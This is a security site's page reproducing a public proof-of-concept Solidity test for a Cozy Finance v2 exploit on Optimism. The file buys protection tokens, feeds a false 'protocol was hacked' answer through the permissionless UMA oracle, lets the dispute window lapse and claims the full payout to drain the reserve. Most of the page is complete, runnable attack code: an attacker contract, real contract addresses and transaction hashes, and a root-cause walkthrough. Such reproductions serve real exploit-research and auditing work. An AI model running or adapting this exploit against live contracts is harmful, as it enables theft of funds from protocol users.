Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/CozyFinance_exp.sol

Public reproduction file for dataset entry CozyFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/CozyFinance_exp.sol261 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.16;
3
4import "forge-std/Test.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Cozy Finance (v2) protection-market exploit — Optimism. An attacker drained the entire USDC.e
8// reserve of a Cozy Set by feeding a fraudulent "YES, the protocol was hacked" answer through the
9// permissionless UMA Optimistic Oracle, letting the dispute window pass unchallenged, and then
10// claiming the full protection payout on tokens they had just bought at a tiny premium.
11//
12// Exploit txs (Optimism):
13// TX1 (freeze) : 0x53b454a3f552c5498994f74ae8737faa60123cac274bdd3b0383ccb226b3f2cb (block 156364035)
14// TX2 (drain) : 0x8761164b8947a0690b57896a8e7370dd69fe8e9137ce61e0b21ff08581a2ce60 (block 156580507)
15// Attacker EOA : 0x003FE7359A4E03C85Ac2f521eC699ED84C7c5ccB
16// Victim Set : 0x17705474203f7ff7ba8a940c433ab43d1f58e249 (EIP-1167 clone of set logic 0x17aff89b)
17// Triggers : 0xeb6613FAc35FeD17c276e3fE45d67da67685F1eF (market 5, "Did Aave v2 get hacked?")
18// 0xacd105feea362d5c27caaba0b45f53d91b92de27 (market 0)
19// UMA OOv2 : 0x255483434aba5a75dc60c1391bB162BCd9DE2882
20// Asset (payout) : 0x7F5c764cBc14f9669B88837ca1490cCa17c31607 (USDC.e, 6 decimals)
21//
22// The two on-chain txs are ~216k blocks (~5 days) apart because the UMA proposal has a 432,000s
23// (5-day) custom liveness. TX1 buys protection and proposes the fraudulent YES answer (freezing the
24// markets); TX2, after the liveness elapsed, settles the oracle and claims the payout. This PoC
25// reproduces both steps with a warp in between.
26//
27// ROOT CAUSE (verified against the trigger's on-chain verified source, contract "UMATrigger" at
28// 0xeb6613...; and against the two attack traces — NOT a key/signer compromise):
29//
30// 1. UMATrigger._submitRequestToOracle() posts a YES_OR_NO_QUERY to UMA's OptimisticOracleV2 as
31// an event-based request. Anyone may answer it: OptimisticOracleV2.proposePrice(...) is
32// permissionless (the proposer just posts the bond). The trigger's priceProposed() callback
33// does NOT verify that the underlying event (an Aave v2 hack) actually happened — it only
34// reverts if the proposed price is anything other than AFFIRMATIVE_ANSWER (1e18). So a bare
35// "YES" proposal from an arbitrary address is accepted and freezes the market.
36//
37// 2. If the proposal is not disputed within the liveness window, priceSettled() is invoked with
38// the AFFIRMATIVE answer and calls _updateTriggerState(TRIGGERED). There is no secondary
39// verification beyond "the proposal went unchallenged". runProgrammaticCheck() lets anyone
40// drive that settlement.
41//
42// 3. Cozy protection-token (CPT) eligibility is not snapshotted before the proposal. The attacker
43// buys protection (mints CPT via Set.purchase) at the normal small premium in the SAME tx as
44// the proposal, then — once the trigger flips to TRIGGERED — redeems that CPT via Set.claim
45// for the full protected notional, draining the Set's reserve.
46//
47// CONFIRMED PERMISSIONLESS: in the real TX1 the attacker's own contract (not the Cozy owner) calls
48// OptimisticOracleV2.proposePrice directly; priceProposed only checks msg.sender == oracle and
49// proposedPrice == AFFIRMATIVE. In the real TX2 the attacker's contract calls the trigger's
50// runProgrammaticCheck() directly to settle. No privileged access anywhere in the path.
51//
52// Function names below are the exact 4-byte matches for the selectors seen in the traces. The
53// UMATrigger and OptimisticOracleV2 signatures are from verified source. The Cozy Set logic
54// (0x17aff89b) is unverified on Optimistic Etherscan, so its selectors were recovered by keccak
55// match: purchase(uint16,uint256,address)=0xf09b77db, claim(uint16,uint256,address,address)=
56// 0x06af14f1, markets(uint256)=0xb1283e77, setState()=0x1203402f.
57//
58// Run:
59// forge test --contracts src/test/2026-09/CozyFinance_exp.sol -vvv
61interface IOptimisticOracleV2 {
62 // Verified source (UMATrigger's embedded OptimisticOracleV2Interface). Permissionless: any
63 // address may propose an answer by posting the bond. Returns the total bond posted.
64 function proposePrice(
65 address requester,
66 bytes32 identifier,
67 uint256 timestamp,
68 bytes memory ancillaryData,
69 int256 proposedPrice
70 ) external returns (uint256 totalBond);
73// Cozy UMATrigger (verified source at 0xeb6613...). Only the getters/entry points this PoC touches.
74interface IUMATrigger {
75 function oracle() external view returns (address);
76 function query() external view returns (string memory);
77 function requestTimestamp() external view returns (uint256);
78 function queryIdentifier() external view returns (bytes32);
79 function bondAmount() external view returns (uint256);
80 function rewardToken() external view returns (address);
81 function proposalDisputeWindow() external view returns (uint256);
82 function state() external view returns (uint8); // 0=ACTIVE, 1=FROZEN, 2=TRIGGERED
83 // Settles the oracle answer (invoking priceSettled) and, on AFFIRMATIVE, flips to TRIGGERED.
84 function runProgrammaticCheck() external returns (uint8);
87// Cozy Set (market container). The 13-field market tuple layout is taken directly from the on-chain
88// markets(uint256) return; only ptoken and trigger are used here.
89interface ICozySet {
90 struct Market {
91 address ptoken; // Cozy protection token (CPT) for this market
92 address trigger;
93 address costModel;
94 address dripDecayModel;
95 uint16 weight;
96 uint16 purchaseFeeReserveFactor;
97 uint16 saleFeeReserveFactor;
98 uint8 state;
99 uint256 activeProtection;
100 uint256 lastDecayRate;
101 uint256 lastDripRate;
102 uint256 purchasesFeePool;
103 uint256 lastDecayTime;
104 }
106 function markets(uint256 marketId) external view returns (Market memory);
107 function setState() external view returns (uint8);
108 function asset() external view returns (address);
109 // Quote the premium for buying `protection` of coverage on `marketId`. First return value is the
110 // total cost (in the Set asset) that must be transferred to the Set before calling purchase.
111 function previewPurchase(uint16 marketId, uint256 protection) external view returns (uint256 totalCost);
112 // Buy `protection` of coverage for `marketId`, minting CPT to `receiver`; pulls the premium.
113 function purchase(uint16 marketId, uint256 protection, address receiver)
114 external
115 returns (uint256 totalCost, uint256 supplierFeeAmount);
116 // Redeem CPT for the payout once the market is TRIGGERED.
117 function claim(uint16 marketId, uint256 protectionTokens, address receiver, address owner)
118 external
119 returns (uint256 amount);
122contract CozyFinance_exp is Test {
123 address internal constant ATTACKER = 0x003FE7359A4E03C85Ac2f521eC699ED84C7c5ccB;
124 ICozySet internal constant SET = ICozySet(0x17705474203F7ff7ba8a940c433AB43D1F58E249);
125 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
126 address internal constant TRIGGER1 = 0xeB6613FAC35fED17c276e3FE45D67Da67685f1eF; // market 5
127 address internal constant TRIGGER2 = 0xaCD105FEEa362D5c27CAAbA0B45F53D91B92dE27; // market 0
128 address internal constant UMA_OO = 0x255483434aba5a75dc60c1391bB162BCd9DE2882;
130 // The two markets the attacker hit and the exact protection amounts bought (from the TX1 trace).
131 // Their sum (162,312.70 USDC) equals the Set's entire USDC.e reserve at the fork block.
132 uint16[2] internal MARKET_IDS = [uint16(5), uint16(0)];
133 uint256[2] internal PROTECTION = [uint256(96_596_967_870), uint256(65_715_735_793)];
135 CozyFinanceExploit internal exploit;
137 function setUp() public {
138 // Parent block of TX1: real protocol state immediately before the attack.
139 vm.createSelectFork("optimism", 156_364_034);
141 exploit = new CozyFinanceExploit(ATTACKER);
143 // Seed the exploit with the attacker's OWN working capital: ~2,631 USDC of premiums plus
144 // 2 x 1,000 USDC of UMA bonds/fees. This is not the stolen money — the drained reserve comes
145 // out of the Set. 10k is a safe upper bound for premium + bond.
146 deal(address(USDC), address(exploit), 10_000e6);
148 vm.label(ATTACKER, "Attacker");
149 vm.label(address(exploit), "Exploit");
150 vm.label(address(SET), "CozySet(victim)");
151 vm.label(address(USDC), "USDC.e");
152 vm.label(TRIGGER1, "UMATrigger(Aave-v2)");
153 vm.label(TRIGGER2, "UMATrigger(market0)");
154 vm.label(UMA_OO, "UMA_OptimisticOracleV2");
155 }
157 function testExploit() public {
158 uint256 setReserveBefore = USDC.balanceOf(address(SET));
159 uint256 seedCapital = USDC.balanceOf(address(exploit));
160 emit log_named_decimal_uint("Set USDC.e reserve before", setReserveBefore, 6);
161 emit log_named_decimal_uint("attacker seed capital (own funds)", seedCapital, 6);
163 // markets start ACTIVE
164 assertEq(SET.markets(5).state, 0, "market5 should start ACTIVE");
165 assertEq(SET.markets(0).state, 0, "market0 should start ACTIVE");
167 // ---- TX1: buy protection cheaply, then submit the fraudulent unchallenged YES proposals ----
168 vm.prank(ATTACKER, ATTACKER);
169 exploit.buyAndPropose(MARKET_IDS, PROTECTION);
171 // Both markets are now FROZEN by the accepted YES proposals (priceProposed callback).
172 assertEq(IUMATrigger(TRIGGER1).state(), 1, "trigger1 should be FROZEN after YES proposal");
173 assertEq(IUMATrigger(TRIGGER2).state(), 1, "trigger2 should be FROZEN after YES proposal");
175 // ---- let the UMA dispute/liveness window (432,000s) elapse with no dispute ----
176 vm.warp(block.timestamp + IUMATrigger(TRIGGER1).proposalDisputeWindow() + 1);
178 // ---- TX2: settle the oracle (flip to TRIGGERED) and claim the full payout ----
179 vm.prank(ATTACKER, ATTACKER);
180 exploit.settleAndDrain(MARKET_IDS);
182 // Both triggers accepted the unchallenged YES answer as a real event -> TRIGGERED.
183 assertEq(IUMATrigger(TRIGGER1).state(), 2, "trigger1 should be TRIGGERED");
184 assertEq(IUMATrigger(TRIGGER2).state(), 2, "trigger2 should be TRIGGERED");
186 uint256 attackerProfit = USDC.balanceOf(ATTACKER); // attacker EOA started with 0 USDC.e
187 uint256 setReserveAfter = USDC.balanceOf(address(SET));
188 uint256 setDrained = setReserveBefore - setReserveAfter;
190 emit log_named_decimal_uint("Set USDC.e reserve after", setReserveAfter, 6);
191 emit log_named_decimal_uint("Set USDC.e drained", setDrained, 6);
192 emit log_named_decimal_uint("attacker USDC.e profit (net of seed)", attackerProfit - seedCapital, 6);
194 // Profit is measured in USDC.e (the Set's payout asset). The attacker swept ~163k USDC.e to
195 // its EOA; net of the ~2.6k premium it seeded, that is ~$160k, matching the reported loss.
196 assertGt(setDrained, 150_000e6, "should drain ~the full Set reserve");
197 assertGt(attackerProfit - seedCapital, 150_000e6, "attacker net profit should be ~$160k USDC.e");
198 }
201// Named attacker contract. Mirrors the two on-chain txs: buyAndPropose == TX1, settleAndDrain == TX2.
202// Every call is a real call against the victim's actual functions (no bytecode, no calldata replay).
203contract CozyFinanceExploit {
204 ICozySet internal constant SET = ICozySet(0x17705474203F7ff7ba8a940c433AB43D1F58E249);
205 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
206 int256 internal constant AFFIRMATIVE_YES = 1e18;
208 address public immutable owner;
210 constructor(address _owner) {
211 owner = _owner;
212 }
214 // TX1 equivalent: for each target market, buy protection (mint CPT to self) and then push a
215 // fraudulent YES answer into the permissionless UMA oracle for that market's trigger.
216 function buyAndPropose(uint16[2] calldata marketIds, uint256[2] calldata protection) external {
217 for (uint256 i = 0; i < marketIds.length; i++) {
218 ICozySet.Market memory m = SET.markets(marketIds[i]);
219 IUMATrigger trig = IUMATrigger(m.trigger);
221 // 1) Acquire CPT through the normal market mechanism. This Set uses a transfer-then-call
222 // payment pattern: quote the premium, transfer exactly that to the Set, then purchase
223 // (purchase credits the balance delta as payment). Premium is ~1.3-1.4% of notional.
224 uint256 premium = SET.previewPurchase(marketIds[i], protection[i]);
225 USDC.transfer(address(SET), premium);
226 SET.purchase(marketIds[i], protection[i], address(this));
228 // 2) Submit an unchallenged YES=1e18 answer to the trigger's UMA request. Permissionless:
229 // this contract is neither the Cozy owner nor a privileged proposer; it just posts the
230 // bond. The trigger's priceProposed callback accepts it and freezes the market.
231 IOptimisticOracleV2 oo = IOptimisticOracleV2(trig.oracle());
232 USDC.approve(address(oo), type(uint256).max);
233 oo.proposePrice(
234 m.trigger, trig.queryIdentifier(), trig.requestTimestamp(), bytes(trig.query()), AFFIRMATIVE_YES
235 );
236 }
237 }
239 // TX2 equivalent: after liveness, settle each oracle answer (flipping the trigger to TRIGGERED)
240 // and then redeem all held CPT for the payout, draining the Set. Sweep proceeds to the EOA.
241 function settleAndDrain(uint16[2] calldata marketIds) external {
242 // Settle first: runProgrammaticCheck -> oracle.settle -> priceSettled(YES) -> TRIGGERED.
243 for (uint256 i = 0; i < marketIds.length; i++) {
244 IUMATrigger(SET.markets(marketIds[i]).trigger).runProgrammaticCheck();
245 }
247 // Claim: the Set caps how much can be redeemed per call, so loop until CPT is fully burned
248 // (this is exactly why the real TX2 issued ~55 claim calls per market).
249 for (uint256 i = 0; i < marketIds.length; i++) {
250 IERC20 cpt = IERC20(SET.markets(marketIds[i]).ptoken);
251 for (uint256 j = 0; j < 500; j++) {
252 uint256 bal = cpt.balanceOf(address(this));
253 if (bal == 0) break;
254 SET.claim(marketIds[i], bal, address(this), address(this));
255 if (cpt.balanceOf(address(this)) == bal) break; // no progress -> Set exhausted
256 }
257 }
259 USDC.transfer(owner, USDC.balanceOf(address(this)));
260 }

Analysis

Dataset entry

Public Foundry test for “CozyFinance” (2026-09-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x003fe7359a4e03c85ac2f521ec699ed84c7c5ccb

  • Victim

    0x17705474203f7ff7ba8a940c433ab43d1f58e249

File record

Name
CozyFinance
Path
src/test/2026-09/CozyFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1c369c81d7ddce3ea1312760163a7beadd31a8b9
Language
Solidity
Size
262 lines
Date
2026-09-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/CozyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1c369c81d7ddce3ea1312760163a7beadd31a8b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.